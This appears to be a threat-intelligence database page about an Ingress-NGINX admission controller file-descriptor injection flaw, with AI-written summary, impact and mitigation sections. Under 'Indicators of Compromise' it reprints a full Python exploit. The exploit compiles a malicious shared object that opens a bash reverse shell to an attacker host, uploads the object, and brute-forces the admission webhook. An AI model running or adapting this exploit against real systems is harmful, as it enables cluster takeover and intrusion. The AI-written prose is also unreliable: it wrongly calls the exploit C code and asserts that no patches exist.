Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
A critical remote code execution (RCE) vulnerability exists in Ingress-NGINX Admission Controller version 1. 11. 1, caused by file descriptor (FD) injection. This flaw allows attackers to inject malicious file descriptors, leading to arbitrary code execution on the affected system without authentication or user interaction. The exploit code is publicly available and written in C, increasing the risk of weaponization. No official patches or fixes have been released yet. European organizations using this specific version of the Ingress-NGINX Admission Controller in their Kubernetes environments are at significant risk, especially those in countries with high cloud-native adoption. The vulnerability impacts confidentiality, integrity, and availability, making it critical to implement immediate mitigations such as isolating vulnerable components, monitoring for suspicious activity, and applying any available workarounds. Countries like Germany, the UK, France, and the Netherlands are likely most affected due to their extensive use of Kubernetes and cloud infrastructure. Organizations should prioritize upgrading once patches are available and restrict network access to the admission controller to minimize exposure.
AI Analysis
Technical Summary
The Ingress-NGINX Admission Controller version 1.11.1 contains a critical vulnerability that enables file descriptor (FD) injection, which can be exploited to achieve remote code execution (RCE). The admission controller is a Kubernetes component that validates and mutates ingress resource configurations, playing a crucial role in managing inbound traffic to cluster services. The vulnerability arises from improper handling of file descriptors, allowing an attacker to inject malicious descriptors that the controller processes, leading to arbitrary code execution within the Kubernetes control plane context. This flaw does not require authentication or user interaction, making it highly exploitable in exposed environments. The exploit code, written in C, is publicly available on Exploit-DB (ID 52475), facilitating rapid weaponization by attackers. No patches or official mitigations have been published at the time of disclosure, increasing the urgency for defensive measures. The vulnerability threatens the confidentiality, integrity, and availability of Kubernetes clusters by potentially allowing attackers to execute arbitrary commands, escalate privileges, or disrupt ingress traffic management. Given the widespread adoption of Kubernetes and Ingress-NGINX in cloud-native deployments, this vulnerability poses a significant risk to organizations relying on these technologies.
Potential Impact
For European organizations, this vulnerability can lead to severe consequences including unauthorized access to sensitive data, disruption of critical services, and potential lateral movement within the network. Compromise of the admission controller can undermine the security of the entire Kubernetes cluster, affecting applications and services running in production. This can result in data breaches, service outages, and reputational damage. Organizations in sectors such as finance, healthcare, and government, which heavily rely on Kubernetes for scalable and secure deployments, face heightened risks. The availability of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks or widespread exploitation. Additionally, the lack of patches means organizations must rely on mitigations that may not fully eliminate risk, prolonging exposure. The impact extends beyond individual organizations to supply chains and critical infrastructure that depend on Kubernetes orchestration.
Mitigation Recommendations
Immediate mitigation steps include isolating the Ingress-NGINX Admission Controller from untrusted networks and restricting access to the Kubernetes API server to trusted administrators only. Implement network segmentation and firewall rules to limit exposure of the admission controller. Enable comprehensive logging and monitoring to detect anomalous activities related to file descriptor manipulation or unexpected process behavior. Employ runtime security tools and Kubernetes security policies (e.g., Pod Security Policies, admission webhooks) to enforce strict controls on ingress resource modifications. Until an official patch is released, consider deploying compensating controls such as disabling the vulnerable admission controller if feasible or using alternative ingress controllers with no known vulnerabilities. Regularly review and update Kubernetes components and dependencies to ensure timely application of security updates. Engage with the Kubernetes and Ingress-NGINX communities for updates and recommended best practices. Conduct thorough incident response preparedness to quickly address any exploitation attempts.
Affected Countries
Germany, United Kingdom, France, Netherlands, Sweden, Finland, Denmark
Indicators of Compromise
- exploit-code: # Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- Embedded malicious shared object template --- MALICIOUS_C_TEMPLATE = """ #include <stdlib.h> __attribute__((constructor)) void run_on_load() { system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'"); } int bind(void *e, const char *id) { return 1; } void ENGINE_load_evil() {} int bind_engine() { return 1; } """ def compile_shared_library(host, port, output_file="evil_engine.so"): c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port)) with open("evil_engine.c", "w") as f: f.write(c_code) print("[*] Compiling malicious shared object...") result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto") if result == 0: print("[+] Shared object compiled successfully.") return True else: print("[!] Compilation failed. Is gcc installed?") return False def send_brute_request(admission_url, json_template, proc, fd): print(f"[*] Trying /proc/{proc}/fd/{fd}") path = f"proc/{proc}/fd/{fd}" payload = json_template.replace("REPLACE", path) headers = {"Content-Type": "application/json"} url = admission_url.rstrip("/") + "/admission" try: response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5) print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}") except Exception as e: print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}") def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5): try: with open(json_file, "r") as f: json_data = f.read() except FileNotFoundError: print(f"[!] Error: {json_file} not found.") return print("[*] Starting brute-force against the admission webhook...") with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(1, max_proc): for fd in range(3, max_fd): executor.submit(send_brute_request, admission_url, json_data, proc, fd) def upload_shared_library(ingress_url, shared_object="evil_engine.so"): try: with open(shared_object, "rb") as f: evil_payload = f.read() except FileNotFoundError: print(f"[!] Error: {shared_object} not found.") return parsed = urlparse(ingress_url) host = parsed.hostname port = parsed.port or 80 path = parsed.path or "/" try: sock = socket.create_connection((host, port)) except Exception as e: print(f"[!] Failed to connect to {host}:{port}: {e}") return fake_length = len(evil_payload) + 10 headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: qmx-ingress-exploiter\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode("iso-8859-1") print("[*] Uploading malicious shared object to ingress...") sock.sendall(headers + evil_payload) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk print("[*] Server response:\n") print(response.decode(errors="ignore")) sock.close() def main(): if len(sys.argv) != 4: print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>") sys.exit(1) ingress_url = sys.argv[1] admission_url = sys.argv[2] rev_host_port = sys.argv[3] if ':' not in rev_host_port: print("[!] Invalid format for rev_host:port.") sys.exit(1) host, port = rev_host_port.split(":") if not compile_shared_library(host, port): sys.exit(1) # Send the malicious shared object and keep the connection open upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,)) upload_thread.start() # Simultaneously brute-force the admission webhook for valid file descriptors brute_force_admission(admission_url) if __name__ == "__main__": main()
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Description
A critical remote code execution (RCE) vulnerability exists in Ingress-NGINX Admission Controller version 1. 11. 1, caused by file descriptor (FD) injection. This flaw allows attackers to inject malicious file descriptors, leading to arbitrary code execution on the affected system without authentication or user interaction. The exploit code is publicly available and written in C, increasing the risk of weaponization. No official patches or fixes have been released yet. European organizations using this specific version of the Ingress-NGINX Admission Controller in their Kubernetes environments are at significant risk, especially those in countries with high cloud-native adoption. The vulnerability impacts confidentiality, integrity, and availability, making it critical to implement immediate mitigations such as isolating vulnerable components, monitoring for suspicious activity, and applying any available workarounds. Countries like Germany, the UK, France, and the Netherlands are likely most affected due to their extensive use of Kubernetes and cloud infrastructure. Organizations should prioritize upgrading once patches are available and restrict network access to the admission controller to minimize exposure.
AI-Powered Analysis
Technical Analysis
The Ingress-NGINX Admission Controller version 1.11.1 contains a critical vulnerability that enables file descriptor (FD) injection, which can be exploited to achieve remote code execution (RCE). The admission controller is a Kubernetes component that validates and mutates ingress resource configurations, playing a crucial role in managing inbound traffic to cluster services. The vulnerability arises from improper handling of file descriptors, allowing an attacker to inject malicious descriptors that the controller processes, leading to arbitrary code execution within the Kubernetes control plane context. This flaw does not require authentication or user interaction, making it highly exploitable in exposed environments. The exploit code, written in C, is publicly available on Exploit-DB (ID 52475), facilitating rapid weaponization by attackers. No patches or official mitigations have been published at the time of disclosure, increasing the urgency for defensive measures. The vulnerability threatens the confidentiality, integrity, and availability of Kubernetes clusters by potentially allowing attackers to execute arbitrary commands, escalate privileges, or disrupt ingress traffic management. Given the widespread adoption of Kubernetes and Ingress-NGINX in cloud-native deployments, this vulnerability poses a significant risk to organizations relying on these technologies.
Potential Impact
For European organizations, this vulnerability can lead to severe consequences including unauthorized access to sensitive data, disruption of critical services, and potential lateral movement within the network. Compromise of the admission controller can undermine the security of the entire Kubernetes cluster, affecting applications and services running in production. This can result in data breaches, service outages, and reputational damage. Organizations in sectors such as finance, healthcare, and government, which heavily rely on Kubernetes for scalable and secure deployments, face heightened risks. The availability of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks or widespread exploitation. Additionally, the lack of patches means organizations must rely on mitigations that may not fully eliminate risk, prolonging exposure. The impact extends beyond individual organizations to supply chains and critical infrastructure that depend on Kubernetes orchestration.
Mitigation Recommendations
Immediate mitigation steps include isolating the Ingress-NGINX Admission Controller from untrusted networks and restricting access to the Kubernetes API server to trusted administrators only. Implement network segmentation and firewall rules to limit exposure of the admission controller. Enable comprehensive logging and monitoring to detect anomalous activities related to file descriptor manipulation or unexpected process behavior. Employ runtime security tools and Kubernetes security policies (e.g., Pod Security Policies, admission webhooks) to enforce strict controls on ingress resource modifications. Until an official patch is released, consider deploying compensating controls such as disabling the vulnerable admission controller if feasible or using alternative ingress controllers with no known vulnerabilities. Regularly review and update Kubernetes components and dependencies to ensure timely application of security updates. Engage with the Kubernetes and Ingress-NGINX communities for updates and recommended best practices. Conduct thorough incident response preparedness to quickly address any exploitation attempts.
Affected Countries
Technical Details
- Edb Id
- 52475
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from url... (4266 more characters)
Threat ID: 69845ddcf9fa50a62f0fd4a1
Added to database: 2/5/2026, 9:07:40 AM
Last enriched: 2/5/2026, 9:08:45 AM
Last updated: 2/5/2026, 8:25:45 PM
Views: 9
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
SystemBC Infects 10,000 Devices After Defying Law Enforcement Takedown
MediumChina-Linked Amaranth-Dragon Exploits WinRAR Flaw in Espionage Campaigns
MediumDEAD#VAX Malware Campaign Deploys AsyncRAT via IPFS-Hosted VHD Phishing Files
MediumDocker Desktop 4.44.3 - Unauthenticated API Exposure
MediumFortiWeb Fabric Connector 7.6.x - SQL Injection to Remote Code Execution
CriticalActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console in Console -> Billing for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.